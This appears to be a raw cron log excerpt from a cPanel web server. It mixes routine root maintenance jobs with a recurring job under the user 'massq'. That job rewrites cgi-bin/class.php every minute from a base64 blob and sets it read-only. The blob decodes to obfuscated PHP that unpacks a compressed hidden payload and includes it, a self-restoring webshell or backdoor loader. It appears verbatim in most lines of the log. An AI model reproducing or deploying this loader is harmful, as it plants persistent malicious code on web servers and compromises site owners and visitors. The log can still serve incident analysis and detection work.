Nov 13 00:26:01 server CROND[31571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:27:01 server CROND[32629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:27:01 server CROND[32631]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 00:28:01 server CROND[1103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:29:01 server CROND[2081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:30:01 server CROND[3022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:30:01 server CROND[3023]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 00:30:01 server CROND[3024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:30:01 server CROND[3025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:30:01 server CROND[3026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:31:01 server CROND[3712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:32:01 server CROND[4606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:33:01 server CROND[5520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:34:01 server CROND[6551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:35:01 server CROND[7481]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 00:35:01 server CROND[7482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:35:01 server CROND[7483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:35:01 server CROND[7484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 00:35:01 server CROND[7490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:36:01 server CROND[8456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:37:01 server CROND[9557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:38:01 server CROND[10502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:39:01 server CROND[11439]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
